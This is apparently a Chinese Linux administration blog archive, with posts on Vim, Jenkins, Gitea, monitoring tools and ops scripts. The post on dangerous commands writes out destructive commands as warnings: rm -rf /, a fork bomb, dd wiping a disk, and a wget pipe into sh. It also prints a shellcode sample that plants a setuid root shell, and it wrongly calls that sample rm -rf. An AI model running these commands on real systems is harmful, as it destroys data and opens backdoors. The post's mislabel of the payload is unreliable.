存档

文章标签 ‘Linux’

Debian Vim无法使用鼠标右键复制 解决方法

2023年8月10日 没有评论

由于日常大部分工作需要在 Debian 环境下完成,最近发现升级到 Debian Stretch 后,Vim 的一个常用操作没法做了,没法使用鼠标,直接选择并复制。很别扭,之前用着没问题的。今天来分享一个解决办法,为大家解决 Debian 9以后 vim或是vi 环境下,无法使用鼠标右键进行选择、复制的问题,供大家参考。

Debian 无法使用鼠标右键选择、复制的解决方法,Debian 怎么使用右键复制

装了 debian 9 以后,vim没有办法使用鼠标直接选择并复制,检查后发现是一个默认的配置问题。可以使用以下方法彻底解决。

1、 打开 vim 的默认配置文件

vim /usr/share/vim/vim80/defaults.vim //debian 9
vim /usr/share/vim/vim82/defaults.vim //debian 10 其他系统类推。反正就是vim8x目录

(adsbygoogle = window.adsbygoogle || []).push({});

2、 转至第 70 行左右,找到:

if has(‘mouse’)
set mouse=a
endif

3、将 set mouse=a 改为:set mouse-=a

4、输入 :wq 保存即可生效。

一行命令键解决问题。

//v9
perl -pi -e ‘s/mouse=/mouse-=/g’ /usr/share/vim/vim80/defaults.vim

//v10
perl -pi -e ‘s/mouse=/mouse-=/g’ /usr/share/vim/vim81/defaults.vim

//v11
perl -pi -e ‘s/mouse=/mouse-=/g’ /usr/share/vim/vim82/defaults.vim

//v12
perl -pi -e ‘s/mouse=/mouse-=/g’ /usr/share/vim/vim83/defaults.vim

分类: Linux, 解决方案 标签: ,

centos下Jenkins的安装和设置

2023年7月2日 没有评论

运行以下命令

1
2
3
4
5
6
7
8
9
wget -O /etc/yum.repos.d/jenkins.repo https://pkg.jenkins.io/redhat-stable/jenkins.repo
rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.io-2023.key
 
yum install fontconfig java-11-openjdk -y
yum install jenkins -y
 
#启动服务,并设置开机启用服务
/bin/systemctl enable jenkins
service jenkins start

然后访问http://xxxx.xxxx.xxxx.xxxx:8080

初始管理员密码在对应提示的目录文件中。查看并登陆

Linux运维必备的13款实用工具(转)

2023年6月7日 没有评论

本文介绍几款 Linux 运维比较实用的工具,希望对 Linux 管理员有所帮助。

1、查看进程占用带宽情况-Nethogs
Nethogs 是一个终端下的网络流量监控工具可以直观的显示每个进程占用的带宽。
下载:http://sourceforge.net/projects/nethogs/files/nethogs/0.8/nethogs-0.8.0.tar.gz/download

[root@localhost ~]#yum -y install libpcap-devel ncurses-devel
[root@localhost ~]# tar zxvf nethogs-0.8.0.tar.gz
[root@localhost ~]# cd nethogs
[root@localhost nethogs]# make && make install
[root@localhost nethogs]# nethogs eth0

2、硬盘读取性能测试-IOZone
IOZone是一款Linux文件系统性能测试工具 可以测试不同的操作系统中文件系统的读写性能。

下载:http://www.iozone.org/src/current/

[root@localhost current]# tar xvf iozone3_420.tar
[root@localhost ~]# cd iozone3_420/src/current/
[root@localhost current]# make linux
[root@localhost current]# ./iozone -a -n 512m -g 16g -i 0 -i 1 -i 5 -f /mnt/iozone -Rb ./iozone.xls
-a使用全自动模式

-n为自动模式设置最小文件大小(Kbytes)。

-g设置自动模式可使用的最大文件大小Kbytes。

-i用来指定运行哪个测试。

-f指定测试文件的名字完成后自动删除

-R产生Excel到标准输出

-b指定输出到指定文件上

3、实时监控磁盘IO-IOTop
IOTop命令是专门显示硬盘IO的命令,界面风格类似top命令。

[root@localhost ~]# yum -y install iotop

4、网络流量监控-IPtraf
IPtraf 是一个运行在Linux下的简单的网络状况分析工具。

[root@localhost ~]# yum -y install iptraf

5、网络流量监控-IFTop
iftop是类似于linux下面top的实时流量监控工具。比iptraf直观些。

下载:http://www.ex-parrot.com/~pdw/iftop/

[root@localhost ~]# tar zxvf iftop-0.17.tar.gz
[root@localhost ~]# cd iftop-0.17
[root@localhost iftop-0.17]# ./configure
[root@localhost iftop-0.17]# make && make install
[root@localhost iftop-0.17]# iftop
[root@localhost iftop-0.17]# iftop -i eth0 #指定监控网卡接口

TX:发送流量

RX:接收流量

TOTAL:总流量

Cumm:运行iftop到目前时间的总流量

peak:流量峰值

rates:分别表示过去 2s 10s 40s 的平均流量

6、进程实时监控-HTop
HTop 是一个 Linux 下的交互式的进程浏览器可以用来替换 Linux 下的top命令。

rpm -ivh http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.2-2.el6.rf.x86_64.rpm(安装第三方YUM源)
[root@localhost ~]# yum -y install htop

7、系统资源监控-NMON
NMON 是一种在 AIX 与各种 Linux 操作系统上广泛使用的监控与分析工具。

下载:http://sourceforge.jp/projects/sfnet_nmon/releases/

[root@localhost ~]# chmod +x nmon_x86_64_rhel6
[root@localhost ~]# mv nmon_x86_64_rhel6 /usr/sbin/nmon
[root@localhost ~]# nmon

8、监控多个日志-MultiTail
MultiTail 是在控制台打开多个窗口用来实现同时监控多个日志文档、类似 tail 命令的功能的软件。

rpm -ivh http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.2-2.el6.rf.x86_64.rpm (安装第三方YUM源)
[root@localhost ~]# yum -y install multitail
[root@localhost ~]# multitail -e “fail” /var/log/secure #筛选关键字进行监控
[root@localhost ~]# multitail -l “ping baidu.com” #监控后面的命令-l将要执行的命令
[root@localhost ~]# multitail -i /var/log/messages -i /var/log/secure #-i指定一个文件名

9、SSH 暴力破解防护-Fail2ban
Fail2ban可以监视你的系统日志然后匹配日志的错误信息正则式匹配执行相应的屏蔽动作一般情况下是调用防火墙屏蔽

下载:http://www.fail2ban.org/wiki/index.php/Downloads

[root@localhost ~]# cd fail2ban-0.8.11
[root@localhost fail2ban-0.8.11]# python setup.py install
[root@localhost fail2ban-0.8.11]# cd files/
[root@localhost files]# cp ./redhat-initd /etc/init.d/fail2ban
[root@localhost files]# service fail2ban start
[root@localhost files]# chkconfig –add fail2ban
[root@localhost files]# chkconfig fail2ban on
注:需要配置 iptables 实用,如果重启iptables了也要重启fail2ban,因为fail2ban的原理是调用 iptables 实时阻挡外界的攻击。

[root@localhost ~]# grep -v “^#” /etc/fail2ban/jail.conf | grep -v “^$” [DEFAULT]
ignoreip = 127.0.0.1/8 #忽略本机IP
bantime = 600 #符合规则后封锁时间
findtime = 600 #在多长时间内符合规则执行封锁如600秒达到3次则执行
maxretry = 3 #最大尝试次数
backend = auto #日志修改检测日志gamin、polling和auto这三种
usedns = warn [ssh-iptables]
enabled = true #默认是禁用
false filter = sshd
action = iptables[name=SSH, port=ssh, protocol=tcp] # sendmail-whois[name=SSH,dest=收件人邮箱, sender=发件人邮箱, sendername="Fail2Ban"]
logpath = /var/log/sshd.log #响应的错误日志一般在/var/log/secure maxretry = 5 #尝试错误次数覆盖全局中的maxretry
注:默认所有的应用防护都是关闭的,需要我们手动开启。fail2ban.conf文件是日志信息,jail.conf文件是保护的具体服务和动作配置信息。

[root@localhost ~]# touch /var/log/sshd.log
[root@localhost ~]# service fail2ban restart
[root@localhost ~]# fail2ban-client status # 查看监控已经开启 Status | – Number of jail:1 `- Jail list:ssh-iptables
[root@localhost ~]# iptables -L # iptables 过滤表有 fail2ban 一条规则 fail2ban-SSH tcp — anywhere anywhere tcp dpt:ssh
10、连接会话终端持续化-Tmux
Tmux 是一个优秀的终端复用软件,类似 GNU Screen,比 Screen 更加方面、灵活和高效。为了确保连接 SSH 时掉线不影响任务运行。
rpm -ivh http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.2-2.el6.rf.x86_64.rpm(安装第三方YUM源)
11、页面显示磁盘空间使用情况-Agedu
下载:http://www.chiark.greenend.org.uk/~sgtatham/agedu/

[root@localhost ~]# tar zxvf agedu-r9723.tar.gz
[root@localhost ~]# cd agedu-r9723
[root@localhost ~]# ./configure
[root@localhost ~]# make && make install
[root@localhost ~]# agedu -s / #-s扫描
[root@localhost ~]# agedu -w –address 192.168.0.10:80 #-w输入一个网页链接
[root@localhost ~]# agedu -w –address 192.168.0.108080 –auth none #–auth关闭认证如果不加端口号会生成一个随机的用浏览器访问

12、安全扫描工具-NMap
NMap是Linux下的网络连接扫描和嗅探工具包用来扫描网上电脑开放的网络连接端。
下载:http://nmap.org/download.html

[root@localhost ~]# tar jxvf nmap-6.40.tar.bz2
[root@localhost nmap-6.40]# ./configure
[root@localhost nmap-6.40]# make && make install
[root@localhost ~]# nmap 192.168.0.10 #获取基本信息
[root@localhost ~]# nmap -O 192.168.0.10 #获取系统版本信息
[root@localhost ~]# nmap -A 192.168.0.10 #获取系统综合信息
[root@localhost ~]# nmap 192.168.0.0/24 #获取一个网段工作设备基本信息
-sSTCP扫描

-sV系统版本检测

13、Web压力测试-Httperf
Httperf 比 ab 更强大,能测试出 web 服务能承载的最大服务量及发现潜在问题;比如:内存使用、稳定性。最大优势:可以指定规律进行压力测试,模拟真实环境。
下载:http://code.google.com/p/httperf/downloads/list

[root@localhost ~]# tar zxvf httperf-0.9.0.tar.gz
[root@localhost ~]# cd httperf-0.9.0
[root@localhost httperf-0.9.0]# ./configure
[root@localhost httperf-0.9.0]# make && make install
[root@localhost ~]# httperf –hog –server=192.168.0.202 –uri=/index.html –num-conns=10000 –wsess=10,10,0.1
参数说明:

–hog:让 httperf 尽可能多产生连接,httperf 会根据硬件配置,有规律的产生访问连接;
–num-conns:连接数量,总发起 10000 请求;
–wsess:用户打开网页时间规律模拟,第一个10表示产生10个会话连接,第二个10表示每个会话连接进行10次请求,0.1表示每个会话连接请求之间的间隔时间/s。

分类: Linux 标签: ,

gitea自建git服务器安装

2023年3月5日 没有评论
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
wget -O gitea https://dl.gitea.com/gitea/1.18.5/gitea-1.18.5-linux-amd64
chmod +x gitea
 
adduser \
   --system \
   --shell /bin/bash \
   --gecos 'Git Version Control' \
   --group \
   --disabled-password \
   --home /home/git \
   git
 
mkdir -p /var/lib/gitea/{custom,data,log}
chown -R git:git /var/lib/gitea/
chmod -R 750 /var/lib/gitea/
mkdir /etc/gitea
chown root:git /etc/gitea
chmod 770 /etc/gitea
 
 
chmod 750 /etc/gitea
chmod 640 /etc/gitea/app.ini
 
export GITEA_WORK_DIR=/var/lib/gitea/
 
 
GITEA_WORK_DIR=/var/lib/gitea/ /usr/local/bin/gitea web -c /etc/gitea/app.ini

建立git用户后建议打开ssh登陆。因为只有这个用户才可以运行服务。root用户就没办法会提示出错。

分类: Linux, 网络产品 标签: ,

lsblk命令浅析

2023年1月10日 没有评论

lsblk各个字段解释
默认情况下,lsblk命令将以树状格式列出所有块设备:

[root@MyCloudServer ~]# lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda 202:0 0 10G 0 disk
├─xvda1 202:1 0 500M 0 part /boot
└─xvda2 202:2 0 9.5G 0 part
├─centos-root 253:0 0 8.5G 0 lvm /
└─centos-swap 253:1 0 1G 0 lvm [SWAP]
xvdb 202:16 0 30G 0 disk
└─xvdb1 202:17 0 30G 0 part
└─Xvdbgroup-xvdb1 253:2 0 29.9G 0 lvm /www
[root@MyCloudServer ~]#

MAJ:MIN: 显示设备的主要和次要设备号,MAJ(major number)表示不同的设备类型,MIN(minor number)表示同一个设备的的不同分区。

RM: 显示设备是否可移动。请注意,在此示例中,设备sr0的RM值等于1,表示它是可移动的。

SIZE: 提供有关设容量的信息。

RO: 显示设备是否为只读。在这种情况下,所有设备的RO均为RO = 0,表示它们不是只读的。

TYPE: 显示块设备是磁盘还是磁盘中的分区(部分)的信息。在此示例中,sda和sdb是磁盘,而sr0是只读存储器(rom)。

MOUNTPOINT: 显示设备的挂载点。

列出所有设备
默认选项不会列出所有空设备。要查看这些内容,还可以使用以下命令:

[root@localhost ~]# lsblk -a
列出设备权限和所有者
要列出设备所有者,组和权限,请使用-m选项:

[root@localhost ~]# lsblk -m

分类: Linux 标签: ,

9 个实用 Shell 脚本(转)

2022年11月10日 没有评论

看到 9 个 shell 脚本范例,运维可以根据实际情况进行修改,9个 shell 脚本如下:

1、Dos 攻击防范(自动屏蔽攻击 IP)

1
2
3
4
5
6
7
8
9
10
#!/bin/bash
DATE=$(date +%d/%b/%Y:%H:%M)
LOG_FILE=/usr/local/nginx/logs/demo2.access.log
ABNORMAL_IP=$(tail -n5000 $LOG_FILE |grep $DATE |awk '{a[$1]++}END{for(i in a)if(a[i]>10)print i}')
for IP in $ABNORMAL_IP; do
    if [ $(iptables -vnL |grep -c "$IP") -eq 0 ]; then
        iptables -I INPUT -s $IP -j DROP
        echo "$(date +'%F_%T') $IP" >> /tmp/drop_ip.log
    fi
done

2、Linux 系统发送告警脚本

1
2
3
4
5
# yum install mailx
# vi /etc/mail.rc
set from=baojingtongzhi@163.com smtp=smtp.163.com
set smtp-auth-user=baojingtongzhi@163.com smtp-auth-password=*******
set smtp-auth=login

3、MySQL 数据库备份单循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash
DATE=$(date +%F_%H-%M-%S)
HOST=localhost
USER=backup
PASS=123.com
BACKUP_DIR=/data/db_backup
DB_LIST=$(mysql -h$HOST -u$USER -p$PASS -s -e "show databases;" 2>/dev/null |egrep -v "Database|information_schema|mysql|performance_schema|sys")
 
for DB in $DB_LIST; do
    BACKUP_NAME=$BACKUP_DIR/${DB}_${DATE}.sql
    if ! mysqldump -h$HOST -u$USER -p$PASS -B $DB > $BACKUP_NAME 2>/dev/null; then
        echo "$BACKUP_NAME 备份失败!"
    fi
done

4、MySQL 数据库备份多循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/bash
DATE=$(date +%F_%H-%M-%S)
HOST=localhost
USER=backup
PASS=123.com
BACKUP_DIR=/data/db_backup
DB_LIST=$(mysql -h$HOST -u$USER -p$PASS -s -e "show databases;" 2>/dev/null |egrep -v "Database|information_schema|mysql|performance_schema|sys")
 
for DB in $DB_LIST; do
    BACKUP_DB_DIR=$BACKUP_DIR/${DB}_${DATE}
    [ ! -d $BACKUP_DB_DIR ] && mkdir -p $BACKUP_DB_DIR &>/dev/null
    TABLE_LIST=$(mysql -h$HOST -u$USER -p$PASS -s -e "use $DB;show tables;" 2>/dev/null)
    for TABLE in $TABLE_LIST; do
        BACKUP_NAME=$BACKUP_DB_DIR/${TABLE}.sql
        if ! mysqldump -h$HOST -u$USER -p$PASS $DB $TABLE > $BACKUP_NAME 2>/dev/null; then
            echo "$BACKUP_NAME 备份失败!"
        fi
    done
done

5、Nginx 访问访问日志按天切割

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash
LOG_DIR=/usr/local/nginx/logs
YESTERDAY_TIME=$(date -d "yesterday" +%F)
LOG_MONTH_DIR=$LOG_DIR/$(date +"%Y-%m")
LOG_FILE_LIST="default.access.log"
 
for LOG_FILE in $LOG_FILE_LIST; do
    [ ! -d $LOG_MONTH_DIR ] && mkdir -p $LOG_MONTH_DIR
    mv $LOG_DIR/$LOG_FILE $LOG_MONTH_DIR/${LOG_FILE}_${YESTERDAY_TIME}
done
 
kill -USR1 $(cat /var/run/nginx.pid)

6、Nginx 访问日志分析脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/bin/bash
# 日志格式: $remote_addr - $remote_user [$time_local] "$request" $status $body_bytes_sent "$http_referer" "$http_user_agent" "$http_x_forwarded_for"
LOG_FILE=$1
echo "统计访问最多的10个IP"
awk '{a[$1]++}END{print "UV:",length(a);for(v in a)print v,a[v]}' $LOG_FILE |sort -k2 -nr |head -10
echo "----------------------"
 
echo "统计时间段访问最多的IP"
awk '$4>="[01/Dec/2018:13:20:25" && $4<="[27/Nov/2018:16:20:49"{a[$1]++}END{for(v in a)print v,a[v]}' $LOG_FILE |sort -k2 -nr|head -10
echo "----------------------"
 
echo "统计访问最多的10个页面"
awk '{a[$7]++}END{print "PV:",length(a);for(v in a){if(a[v]>10)print v,a[v]}}' $LOG_FILE |sort -k2 -nr
echo "----------------------"
 
echo "统计访问页面状态码数量"
awk '{a[$7" "$9]++}END{for(v in a){if(a[v]>5)print v,a[v]}}'
7、查看网卡实时流量脚本
 
#!/bin/bash
NIC=$1
echo -e " In ------ Out"
while true; do
    OLD_IN=$(awk '$0~"'$NIC'"{print $2}' /proc/net/dev)
    OLD_OUT=$(awk '$0~"'$NIC'"{print $10}' /proc/net/dev)
    sleep 1
    NEW_IN=$(awk  '$0~"'$NIC'"{print $2}' /proc/net/dev)
    NEW_OUT=$(awk '$0~"'$NIC'"{print $10}' /proc/net/dev)
    IN=$(printf "%.1f%s" "$((($NEW_IN-$OLD_IN)/1024))" "KB/s")
    OUT=$(printf "%.1f%s" "$((($NEW_OUT-$OLD_OUT)/1024))" "KB/s")
    echo "$IN $OUT"
    sleep 1
done

8、服务器系统配置初始化脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#/bin/bash
# 设置时区并同步时间
ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
if ! crontab -l |grep ntpdate &>/dev/null ; then
    (echo "* 1 * * * ntpdate time.windows.com >/dev/null 2>&1";crontab -l) |crontab
fi
 
# 禁用selinux
sed -i '/SELINUX/{s/permissive/disabled/}' /etc/selinux/config
 
# 关闭防火墙
if egrep "7.[0-9]" /etc/redhat-release &>/dev/null; then
    systemctl stop firewalld
    systemctl disable firewalld
elif egrep "6.[0-9]" /etc/redhat-release &>/dev/null; then
    service iptables stop
    chkconfig iptables off
fi
 
# 历史命令显示操作时间
if ! grep HISTTIMEFORMAT /etc/bashrc; then
    echo 'export HISTTIMEFORMAT="%F %T `whoami` "' >> /etc/bashrc
fi
 
# SSH超时时间
if ! grep "TMOUT=600" /etc/profile &>/dev/null; then
    echo "export TMOUT=600" >> /etc/profile
fi
 
# 禁止root远程登录
sed -i 's/#PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
 
# 禁止定时任务向发送邮件
sed -i 's/^MAILTO=root/MAILTO=""/' /etc/crontab
 
# 设置最大打开文件数
if ! grep "* soft nofile 65535" /etc/security/limits.conf &>/dev/null; then
    cat >> /etc/security/limits.conf << EOF
    * soft nofile 65535
    * hard nofile 65535
EOF
fi
 
# 系统内核优化
cat >> /etc/sysctl.conf << EOF
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_tw_buckets = 20480
net.ipv4.tcp_max_syn_backlog = 20480
net.core.netdev_max_backlog = 262144
net.ipv4.tcp_fin_timeout = 20
EOF
 
# 减少SWAP使用
echo "0" > /proc/sys/vm/swappiness
 
# 安装系统性能分析工具及其他
yum install gcc make autoconf vim sysstat net-tools iostat if

9、监控 100 台服务器磁盘利用率脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/bash
HOST_INFO=host.info
for IP in $(awk '/^[^#]/{print $1}' $HOST_INFO); do
    USER=$(awk -v ip=$IP 'ip==$1{print $2}' $HOST_INFO)
    PORT=$(awk -v ip=$IP 'ip==$1{print $3}' $HOST_INFO)
    TMP_FILE=/tmp/disk.tmp
    ssh -p $PORT $USER@$IP 'df -h' > $TMP_FILE
    USE_RATE_LIST=$(awk 'BEGIN{OFS="="}/^\/dev/{print $NF,int($5)}' $TMP_FILE)
    for USE_RATE in $USE_RATE_LIST; do
        PART_NAME=${USE_RATE%=*}
        USE_RATE=${USE_RATE#*=}
        if [ $USE_RATE -ge 80 ]; then
            echo "Warning: $PART_NAME Partition usage $USE_RATE%!"
        fi
    done
done
分类: Linux 标签: ,

-bash: warning: setlocale: LC_CTYPE: cannot change locale (UTF-8): No such file or directory

2022年10月13日 没有评论

ssh 连接 centos 服务器时报警告:

-bash: warning: setlocale: LC_CTYPE: cannot change locale (UTF-8): No such file or directory

原因是 ssh连接的时候会传递环境变量,这个变量如在服务器没有的环境,就会报这个错误,是LC_CTYPE这个环境变量导致的提示。

对于LC_CTYPE的参数,我们一般建议设置成UTF-8,服务器上配置文件缺少相应配置参数。所以就报错了。

解决办法:
在centos上运行

vi /etc/locale.conf

内容改为:

LANG=en_US.utf8
LC_ALL=en_US.utf8
LC_CTYPE=en_US.utf8

重新连接ssh,就可以解决错误提示。

分类: Linux, 解决方案 标签: , ,

proxmox 7 :WARN: old systemd (< v232) detected, container won't run in a pure cgroupv2 environment! Please see documentation -> container -> cgroup version.

2022年10月13日 没有评论

proxmox 升到7,或是安装7后的版本在使用旧的pct模版LXC的 Centos 7 无法开机,出现以下错误提示:

WARN: old systemd (< v232) detected, container won't run in a pure cgroupv2 environment! Please see documentation -> container -> cgroup version.

TASK WARNINGS: 1

解決方法如下

vim /etc/default/grub

找到以下
GRUB_CMDLINE_LINUX_DEFAULT=”quiet”

改成以下

GRUB_CMDLINE_LINUX_DEFAULT=”systemd.unified_cgroup_hierarchy=0 quiet”

运行更新grub

update-grub

重启服务器
reboot

centos6 yum源不能使用解决办法

2022年10月2日 没有评论

2020年11月30日 centos6各大开源镜像站已经停止维护了!但是阿里源还是可以用的通道,因为他的centos-vault仓库里放了之前版本的centos的包。

只需要在centos命令行界面下执行一下几条命令即可解决问题。命令如下:

1
2
3
4
5
sed -i "s|enabled=1|enabled=0|g" /etc/yum/pluginconf.d/fastestmirror.conf
mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup
curl -o /etc/yum.repos.d/CentOS-Base.repo https://www.xmpan.com/Centos-6-Vault-Aliyun.repo 
yum clean all
yum makecache

如无法下载Centos-6-Vault-Aliyun.repo文件,可以将以下内容复制存为文件使用即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# CentOS-Base.repo
#
# The mirror system uses the connecting IP address of the client and the
# update status of each mirror to pick mirrors that are updated to and
# geographically close to the client.  You should use this for CentOS updates
# unless you are manually picking other mirrors.
#
# If the mirrorlist= does not work for you, as a fall back you can try the 
# remarked out baseurl= line instead.
#
#
 
[base]
name=CentOS-6.10 - Base - mirrors.aliyun.com
failovermethod=priority
baseurl=http://mirrors.aliyun.com/centos-vault/6.10/os/$basearch/
gpgcheck=1
gpgkey=http://mirrors.aliyun.com/centos-vault/RPM-GPG-KEY-CentOS-6
 
#released updates 
[updates]
name=CentOS-6.10 - Updates - mirrors.aliyun.com
failovermethod=priority
baseurl=http://mirrors.aliyun.com/centos-vault/6.10/updates/$basearch/
gpgcheck=1
gpgkey=http://mirrors.aliyun.com/centos-vault/RPM-GPG-KEY-CentOS-6
 
#additional packages that may be useful
[extras]
name=CentOS-6.10 - Extras - mirrors.aliyun.com
failovermethod=priority
baseurl=http://mirrors.aliyun.com/centos-vault/6.10/extras/$basearch/
gpgcheck=1
gpgkey=http://mirrors.aliyun.com/centos-vault/RPM-GPG-KEY-CentOS-6
 
#additional packages that extend functionality of existing packages
[centosplus]
name=CentOS-6.10 - Plus - mirrors.aliyun.com
failovermethod=priority
baseurl=http://mirrors.aliyun.com/centos-vault/6.10/centosplus/$basearch/
gpgcheck=1
enabled=0
gpgkey=http://mirrors.aliyun.com/centos-vault/RPM-GPG-KEY-CentOS-6
 
#contrib - packages by Centos Users
[contrib]
name=CentOS-6.10 - Contrib - mirrors.aliyun.com
failovermethod=priority
baseurl=http://mirrors.aliyun.com/centos-vault/6.10/contrib/$basearch/
gpgcheck=1
enabled=0
gpgkey=http://mirrors.aliyun.com/centos-vault/RPM-GPG-KEY-CentOS-6
分类: Linux, 解决方案 标签: ,

Linux下的高危命令

2022年6月1日 没有评论

1、rm -rf 命令
该命令可能导致不可恢复的系统崩坏。

> rm -rf / #强制删除根目录下所有东西。
> rm -rf * #强制删除当前目录的所有文件。
> rm -rf . #强制删除当前文件夹及其子文件夹。
执行 rm -rf 一定要想半天,搞明白自己在干什么。所谓的删库跑路,大多基于这个命令,就算是运维老司机也不要轻易尝试。
-rf 将递归删除文件,误删文件导致数据丢失,产生严重后果。如果多一个空格,或者 /没有补齐,或者文件有特殊符号,导致误删文件的误操作居多。
2、fork 炸弹

1
:() { :|:& };:

不太好理解可以转换成:

bomb()
{
bomb|bomb&
};
bomb
一旦执行起来,-bash: fork: Cannot allocate memory,会把系统资源消耗殆尽。它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
3、echo “” > /dev/sda
该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
4、mv 文件夹 /dev/null
> mv /etc /dev/null
/dev/null 或 null 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。但是这个命令并不能阻止数据恢复软件——所以,真正的彻底毁灭,需要采用专用的软件或者手法来完成。
5、下载的文件立即执行
> wget http://rumenz.com/rumenz.sh -O- | sh
如果 rumenz.sh 是一个病毒脚本,就完蛋了。下载脚本文件之前要看看里面的内容,有危险的操作就不要执行。
6、mkfs.ext3 /dev/sdb
这个命令会格式化块设备 sdb,在执行这个命令后你的块设备(硬盘驱动器)会被格式化,直接让你的系统达到不可恢复的阶段。
7、重定向输出到文件
> > rumenz.txt
这个命令常用来清空文件内容或记录命令输出,执行之前请考虑清楚。
8、硬盘清零
dd 命令用于复制&改变硬盘分区。如果,你用错地方了,那么也很危险。

下面列举 dd 命令:

dd if=/dev/hda of=/dev/hdb
dd if=/dev/hda of=/dev/sdb
dd if=something of=/dev/hda
dd if=something of=/dev/sda
下面这个命令会将整个主硬盘清零:

> dd if=/dev/zero of=/dev/had
所以,不管是新手还是老司机,都不要轻易尝试。

9、执行伪装后的命令
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;
上面的命令就是 rm -rf,这里的代码是隐藏在十六进制里的,可能会擦除你的根分区,所以看不懂的命令千万不能执行,非要看效果,请在虚拟机中执行。
10、Decompression Bomb
你已经收到一个压缩文件,你被要求提取这个看起来很小的文件,可能小到KB。事实上,该小尺寸的压缩文件包含高度压缩数据。
只要文件解压,上百GB数据会被提取,这时候,过大的数据填满硬盘导致宕机,几率就很大了。如何避免?还是那句老话,别手贱,什么文件都去接收,请接收可信任来源文件。
11、Malicious Source Code
也许有人会给你源代码让你编译他。代码可能是正常代码,不过,有一些恶意代码伪装在大型源代码中,如果是这样,你的系统就中枪了。如何避免?仅接受并编译可信赖来源的源代码。
12、Tar Bomb
tar命令用于将多个文件以.tar 格式放入一个文件中(存档文件)。Tape Archive (Tar) bomb 可以由他创建。

当为压缩时,就是这个存档文件生成数以万计的相似名称文件出现在当前目录中而不是新目录。

当收到tar文件,定期创建一个新的保护目录,然后在解压前将接受的tar文件放到这个目录中,你可以避免成为tar bomb的受害者。

13. ^foo^bar
这样利用^符号,通过上翻补全命令的方式,直接编辑之前运行过的命令。虽然你或许因此不用再输入整条长命令,但其实这会很危险。
图片
14、kill\killall
killall 命令,杀死同一进程组内的所有进程,其允许指定要终止的进程的名称,而非 PID

killall 和 pkill 是相似的,不过如果给出的进程名不完整,killall会报错。pkill 或者 pgrep只要给出进程名的一部分就可以终止进程。
homer@ubuntu:~$ killall firefo
firefo: no process found
homer@ubuntu:~$ killall firefox
homer@ubuntu:~$ killall -9 firefox

杀死进程最安全的方法是单纯使用kill命令,不加修饰符,不带标志。
例如:# kill -pid
注释:标准的kill命令,默认采用信号(signal)号是15,通常都能达到目的,终止有问题的进程,并把进程的资源释放给系统。然而,如果进程启动了子进程,只杀死父进程,子进程仍在运行,因此仍消耗资源。为了防止这些所谓的“僵尸进程”,应确保在杀死父进程之前,先杀死其所有的子进程。
kill -l

例如:kill -l PID

-l 选项, 告诉kill命令用好像启动进程的用户已注销的方式结束进程。当使用该选项时,kill命令也试图杀死所留下的子进程。但这个命令也不是总能成功—或许仍然需要先手工杀死子进程,然后再杀死父进程。
15、打断fsck
fsck 如果底层硬件以某种方式损坏,肯定弊大于利;CPU坏,RAM坏,硬盘快要死了,磁盘 Controller 坏了……在这些情况下,更多的损坏是不可避免的。
如果有疑问,最好使用 dd_rescue 对损坏的磁盘进行镜像。或其他工具,然后看看您是否可以成功修复该图像。这样,您仍然可以使用原始设置。

分类: Linux, 软件使用 标签: ,